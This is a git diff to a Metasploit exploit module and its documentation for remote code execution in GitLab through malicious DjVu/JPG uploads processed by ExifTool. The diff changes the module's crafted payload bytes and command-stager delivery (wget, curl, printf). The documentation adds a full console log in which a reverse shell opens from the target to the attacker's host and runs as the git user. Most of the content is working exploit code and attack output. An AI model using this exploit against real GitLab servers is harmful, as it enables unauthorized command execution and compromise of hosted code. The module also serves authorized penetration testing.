diff --git a/documentation/modules/exploit/multi/http/gitlab_exif_rce.md b/documentation/modules/exploit/multi/http/gitlab_exif_rce.md index e0f7a0e9a5..6926b2b12d 100644 --- a/documentation/modules/exploit/multi/http/gitlab_exif_rce.md +++ b/documentation/modules/exploit/multi/http/gitlab_exif_rce.md @@ -34,12 +34,13 @@ Exploitation will result in command execution as the git user. ### 0 -This targets GitLab with the `reverse_openssl` payload and returns a reverse shell. +By default, this targets GitLab with the `reverse_openssl` payload and returns a reverse shell. ### 1 -This downloads code to GitLab returns a meterpreter session. By default, the module uses `wget`, but -can also be used with `lwprequest` and `curl.` +By default, this target obtains a meterpreter session using `wget`. This target also supports +`lwprequest`, `curl`, and `printf`. However, due to the exploit's space constraints it's not +recommended to use a meterpreter payload with `printf` due to the time it will take to write the payload. ## Options @@ -143,6 +144,53 @@ msf6 exploit(multi/http/gitlab_exif_rce) > run meterpreter > ``` +### GitLab 13.10.2 on CentOS 8. Get reverse shell using printf / reverse_tcp + +``` +msf6 > use exploits/multi/http/gitlab_exif_rce +[*] Using configured payload linux/x86/meterpreter_reverse_tcp +msf6 exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.7 +RHOST => 10.0.0.7 +msf6 exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9 +LHOST => 10.0.0.9 +msf6 exploit(multi/http/gitlab_exif_rce) > set payload linux/x86/shell/reverse_tcp +payload => linux/x86/shell/reverse_tcp +msf6 exploit(multi/http/gitlab_exif_rce) > set CmdStager::Flavor printf +CmdStager::Flavor => printf +msf6 exploit(multi/http/gitlab_exif_rce) > exploit + +[*] Started reverse TCP handler on 10.0.0.9:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Uploading W1tHrzXkK.jpg to /mopoTKJq +[+] The target is vulnerable. The error response indicates ExifTool was executed. +[*] Executing Linux Dropper for linux/x86/shell/reverse_tcp +[*] Uploading aVTK6SM33.jpg to /NySTvN3J +[+] Exploit successfully executed. +[*] Command Stager progress - 17.76% done (143/805 bytes) +[*] Uploading uOQXfShf.jpg to /0vHnowZA8ftJ +[+] Exploit successfully executed. +[*] Command Stager progress - 35.40% done (285/805 bytes) +[*] Uploading Ov2VCdIih.jpg to /NefATU +[+] Exploit successfully executed. +[*] Command Stager progress - 53.04% done (427/805 bytes) +[*] Uploading lYJsr5whY.jpg to /TOLaoA1q +[+] Exploit successfully executed. +[*] Command Stager progress - 70.68% done (569/805 bytes) +[*] Uploading MwuCYLqHh.jpg to /lMTzzMxXjFye +[+] Exploit successfully executed. +[*] Command Stager progress - 88.20% done (710/805 bytes) +[*] Uploading dkp8oskGlDJI.jpg to /VglvVbpx +[*] Sending stage (36 bytes) to 10.0.0.7 +[+] Exploit successfully executed. +[*] Command Stager progress - 100.00% done (805/805 bytes) +[*] Command shell session 1 opened (10.0.0.9:4444 -> 10.0.0.7:48694 ) at 2021-11-03 08:34:02 -0700 + +id +uid=973(git) gid=972(git) groups=972(git) context=system_u:system_r:unconfined_service_t:s0 +whoami +git +``` + ### GitLab 13.10.2 on Ubuntu 20.04.2 x64. Get reverse shell. ``` @@ -170,7 +218,7 @@ msf6 exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9 LHOST => 10.0.0.9 msf6 exploit(multi/http/gitlab_exif_rce) > exploit -[*] Started reverse double SSL handler on 10.0.0.9:4444 +[*] Started reverse double SSL handler on 10.0.0.9:4444 [*] Executing Unix Command for cmd/unix/reverse_openssl [*] Uploading 1SynV6Z.jpg to /9v3LPsOOBuH [*] Accepted the first client connection... @@ -197,24 +245,18 @@ pwd ### GitLab 14.4.1 on Ubuntu 20.04.2 x64. Unable to exploit. ``` -msf6 > use exploit/multi/http/gitlab_exif_rce +msf6 > use exploits/multi/http/gitlab_exif_rce [*] Using configured payload linux/x86/meterpreter_reverse_tcp msf6 exploit(multi/http/gitlab_exif_rce) > set RHOST 10.0.0.6 RHOST => 10.0.0.6 -msf6 exploit(multi/http/gitlab_exif_rce) > check - -[*] Uploading IG6XQAk1ITK.jpg to /jL4v4tk -[*] 10.0.0.6:80 - The target is not exploitable. The error response indicates ExifTool was not run. msf6 exploit(multi/http/gitlab_exif_rce) > set LHOST 10.0.0.9 LHOST => 10.0.0.9 msf6 exploit(multi/http/gitlab_exif_rce) > exploit [*] Started reverse TCP handler on 10.0.0.9:4444 -[*] Executing Linux Dropper for linux/x86/meterpreter_reverse_tcp -[*] Using URL: http://0.0.0.0:8080/4yaJ5UgZuicSKho -[*] Local IP: http://10.0.0.9:8080/4yaJ5UgZuicSKho -[*] Uploading 0HOfSW4x.jpg to /U9lBc32XRIS -[-] Exploit aborted due to failure: unexpected-reply: Target replied with an unexpected response -[*] Server stopped. +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Uploading NUvUyPiyKL3.jpg to /PT2hiCf47 +[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. The error response indicates ExifTool was not run. "set ForceExploit true" to override check result. [*] Exploit completed, but no session was created. +msf6 exploit(multi/http/gitlab_exif_rce) > ``` diff --git a/modules/exploits/multi/http/gitlab_exif_rce.rb b/modules/exploits/multi/http/gitlab_exif_rce.rb index 1ef32d48a1..690f96c95c 100644 --- a/modules/exploits/multi/http/gitlab_exif_rce.rb +++ b/modules/exploits/multi/http/gitlab_exif_rce.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager @@ -46,6 +47,11 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, + 'Payload' => { + 'Space' => 290, + 'DisableNops' => true, + 'BadChars' => '' + }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' } @@ -57,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, - 'CmdStagerFlavor' => [ 'wget', 'lwprequest', 'curl' ], + 'CmdStagerFlavor' => [ 'wget', 'lwprequest', 'curl', 'printf' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp' } @@ -65,6 +71,9 @@ class MetasploitModule < Msf::Exploit::Remote ] ], 'DefaultTarget' => 1, + 'DefaultOptions' => { + 'MeterpreterTryToFork' => true + }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], @@ -98,13 +107,12 @@ class MetasploitModule < Msf::Exploit::Remote end def check - # Checks if the instance is a GitLab install by looking for - # the 'About GitLab' footer. If that's success a bogus jpg - # image is uploaded to a bogus URI. The patched versions - # should never send the bad image to ExifTool, resulting in - # a 404. The unpatched versions should feed the image to - # the vulnerable ExifTool, resulting in a 422 error message. - + # Checks if the instance is a GitLab install by looking for the + # 'About GitLab' footer or a password redirect. If that's successful + # a bogus jpg image is uploaded to a bogus URI. The patched versions + # should never send the bad image to ExifTool, resulting in a 404. + # The unpatched versions should feed the image to the vulnerable + # ExifTool, resulting in a 422 error message. res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/users/sign_in') @@ -114,7 +122,11 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Unknown('Target did not respond to check.') end - unless res.code == 200 && res.body.include?('>About GitLab<') + # handle two cases. First a normal install will respond with HTTP 200. + # Second, if the root password hasn't been set yet then this will + # redirect to the password reset page. + unless (res.code == 200 && res.body.include?('>About GitLab<')) || + (res.code == 302 && res.body.include?('/users/password/edit?reset_password_token')) return CheckCode::Safe('Not a GitLab web interface') end @@ -138,14 +150,26 @@ class MetasploitModule < Msf::Exploit::Remote end def execute_command(cmd, _opts = {}) - # header and trailer are taken from William Bowling's - # echo_vakzz.jpg from their original h1 disclosure. The - # 'cmd' variable is sandwiched in a qx{} function. - payload_header = Base64.decode64('QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs=') + # printf needs all '\' to be double escaped due to ExifTool parsing + if cmd.start_with?('printf ') + cmd = cmd.gsub('\\', '\\\\\\') + end + + # header and trailer are taken from William Bowling's echo_vakzz.jpg from their original h1 disclosure. + # The 'cmd' variable is sandwiched in a qx{} function. + payload_header = "AT&TFORM\x00\x00\x03\xAFDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00"\ + "\x00\xAC\xFF\xFF\xDE\xBF\x99 !\xC8\x91N\xEB\f\a\x1F\xD2\xDA\x88\xE8k\xE6D\x0F,q\x02\xEEI\xD3n"\ + "\x95\xBD\xA2\xC3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\b\x00\b\x18\x00d\x00\x16\x00IN"\ + "CL\x00\x00\x00\x0Fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\b\x00\b\x8A\xE6\xE1"\ + "\xB17\xD9\x7F*\x89\x00BG44\x00\x00\x00\x04\x01\x0F\xF9\x9FBG44\x00\x00\x00\x02\x02\nFORM\x00\x00"\ + "\x03\aDJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{" payload_trailer = "} . \\\x0a\" b \") )" + (' ' * 421) res = upload_file(payload_header + cmd + payload_trailer, 5) - if res + + # Successful exploitation can result in no response (connection being held open by a reverse shell) + # or, if the command executes immediately, a response with a 422. + if res && res.code != 422 fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.") end @@ -158,8 +182,9 @@ class MetasploitModule < Msf::Exploit::Remote when :unix_cmd execute_command(payload.encoded) when :linux_dropper - # payload is truncated by exiftool after 290 bytes - execute_cmdstager(linemax: 290) + # payload is truncated by exiftool after 290 bytes. Because we need to + # expand the printf flavor by a potential factor of 2, halve the linemax. + execute_cmdstager(linemax: 144) end end end